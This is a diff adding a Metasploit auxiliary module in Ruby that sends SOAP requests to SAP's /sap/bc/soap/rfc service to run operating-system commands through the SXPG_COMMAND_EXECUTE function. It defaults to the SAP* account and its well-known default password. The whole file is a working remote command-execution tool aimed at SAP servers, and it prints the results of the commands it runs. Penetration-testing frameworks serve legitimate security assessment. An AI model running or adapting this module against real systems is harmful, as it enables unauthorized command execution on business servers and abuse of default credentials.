1
+ ##
2
+ # This file is part of the Metasploit Framework and may be subject to
3
+ # redistribution and commercial restrictions. Please see the Metasploit
4
+ # Framework web site for more information on licensing and terms of use.
5
+ # http://metasploit.com/framework/
6
+ ##
7
+
8
+ ##
9
+ # This module is based on, inspired by, or is a port of a plugin available in
10
+ # the Onapsis Bizploit Opensource ERP Penetration Testing framework -
11
+ # http://www.onapsis.com/research-free-solutions.php.
12
+ # Mariano Nunez (the author of the Bizploit framework) helped me in my efforts
13
+ # in producing the Metasploit modules and was happy to share his knowledge and
14
+ # experience - a very cool guy. I'd also like to thank Chris John Riley,
15
+ # Ian de Villiers and Joris van de Vis who have Beta tested the modules and
16
+ # provided excellent feedback. Some people just seem to enjoy hacking SAP :)
17
+ ##
18
+
19
+ require 'msf/core'
20
+
21
+ class Metasploit4 < Msf ::Auxiliary
22
+
23
+ include Msf ::Exploit ::Remote ::HttpClient
24
+ include Msf ::Auxiliary ::Report
25
+ include Msf ::Auxiliary ::Scanner
26
+
27
+ def initialize
28
+ super (
29
+ 'Name' => 'SAP SOAP RFC SXPG_COMMAND_EXECUTE' ,
30
+ 'Description' => %q{
31
+ This module makes use of the SXPG_COMMAND_EXECUTE Remote Function Call, through
32
+ the use of the /sap/bc/soap/rfc SOAP service to execute OS commands as configured
33
+ in the SM69 transaction.
34
+ } ,
35
+ 'References' =>
36
+ [
37
+ [ 'URL' , 'http://labs.mwrinfosecurity.com/tools/2012/04/27/sap-metasploit-modules/' ]
38
+ ] ,
39
+ 'Author' =>
40
+ [
41
+ 'Agnivesh Sathasivam' ,
42
+ 'nmonkee'
43
+ ] ,
44
+ 'License' => MSF_LICENSE
45
+ )
46
+ register_options (
47
+ [
48
+ Opt ::RPORT ( 8000 ) ,
49
+ OptString . new ( 'CLIENT' , [ true , 'SAP Client' , '001' ] ) ,
50
+ OptString . new ( 'USERNAME' , [ true , 'Username' , 'SAP*' ] ) ,
51
+ OptString . new ( 'PASSWORD' , [ true , 'Password' , '06071992' ] ) ,
52
+ OptString . new ( 'CMD' , [ true , 'SM69 command to be executed' , nil ] ) ,
53
+ OptString . new ( 'PARAM' , [ false , 'Additional parameters for the SM69 command' , nil ] ) ,
54
+ OptEnum . new ( 'OS' , [ true , 'SM69 Target OS' , 'ANYOS' , [ 'ANYOS' , 'UNIX' , 'Windows NT' , 'AS/400' , 'OS/400' ] ] )
55
+ ] , self . class )
56
+ end
57
+
58
+ def run_host ( ip )
59
+ os = datastore [ 'OS' ]
60
+ data = '<?xml version="1.0" encoding="utf-8" ?>'
61
+ data << '<env:Envelope xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:env="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">'
62
+ data << '<env:Body>'
63
+ data << '<n1:SXPG_COMMAND_EXECUTE xmlns:n1="urn:sap-com:document:sap:rfc:functions" env:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">'
64
+ if datastore [ 'PARAM' ]
65
+ data << '<ADDITIONAL_PARAMETERS>' + datastore [ 'PARAM' ] + ' </ADDITIONAL_PARAMETERS>'
66
+ else
67
+ data << '<ADDITIONAL_PARAMETERS> </ADDITIONAL_PARAMETERS>'
68
+ end
69
+ data << '<COMMANDNAME>' + datastore [ 'CMD' ] + '</COMMANDNAME>'
70
+ data << '<OPERATINGSYSTEM>' + os + '</OPERATINGSYSTEM>'
71
+ data << '<EXEC_PROTOCOL><item></item></EXEC_PROTOCOL>'
72
+ data << '</n1:SXPG_COMMAND_EXECUTE>'
73
+ data << '</env:Body>'
74
+ data << '</env:Envelope>'
75
+ user_pass = Rex ::Text . encode_base64 ( datastore [ 'USERNAME' ] + ":" + datastore [ 'PASSWORD' ] )
76
+ print_status ( "[SAP] #{ ip } :#{ rport } - sending SOAP SXPG_COMMAND_EXECUTE request" )
77
+ begin
78
+ res = send_request_raw ( {
79
+ 'uri' => '/sap/bc/soap/rfc?sap-client=' + datastore [ 'CLIENT' ] + '&sap-language=EN' ,
80
+ 'method' => 'POST' ,
81
+ 'data' => data ,
82
+ 'headers' => {
83
+ 'Content-Length' => data . size . to_s ,
84
+ 'SOAPAction' => 'urn:sap-com:document:sap:rfc:functions' ,
85
+ 'Cookie' => 'sap-usercontext=sap-language=EN&sap-client=' + datastore [ 'CLIENT' ] ,
86
+ 'Authorization' => 'Basic ' + user_pass ,
87
+ 'Content-Type' => 'text/xml; charset=UTF-8'
88
+ }
89
+ } , 45 )
90
+ if res and res . code != 500 and res . code != 200
91
+ # to do - implement error handlers for each status code, 404, 301, etc.
92
+ print_error ( "[SAP] #{ ip } :#{ rport } - something went wrong!" )
93
+ return
94
+ elsif res and res . body =~ /faultstring/
95
+ error = res . body . scan ( %r{<faultstring>(.*?)</faultstring>} ) . flatten
96
+ 0 . upto ( error . length -1 ) do |i |
97
+ print_error ( "[SAP] #{ ip } :#{ rport } - error #{ error [ i ] } " )
98
+ end
99
+ return
100
+ elsif res
101
+ print_status ( "[SAP] #{ ip } :#{ rport } - got response" )
102
+ saptbl = Msf ::Ui ::Console ::Table . new (
103
+ Msf ::Ui ::Console ::Table ::Style ::Default ,
104
+ 'Header' => "[SAP] SXPG_COMMAND_EXECUTE " ,
105
+ 'Prefix' => "\n " ,
106
+ 'Postfix' => "\n " ,
107
+ 'Indent' => 1 ,
108
+ 'Columns' => [ "Output" , ]
109
+ )
110
+ output = res . body . scan ( %r{<MESSAGE>([^<]+)</MESSAGE>} ) . flatten
111
+ for i in 0 ..output . length -1
112
+ saptbl << [ output [ i ] ]
113
+ end
114
+ print ( saptbl . to_s )
115
+ return
116
+ else
117
+ print_error ( "[SAP] #{ ip } :#{ rport } - Unknown error" )
118
+ return
119
+ end
120
+ rescue ::Rex ::ConnectionError
121
+ print_error ( "[SAP] #{ ip } :#{ rport } - Unable to connect" )
122
+ return
123
+ end
124
+ end
125
+ end
0 commit comments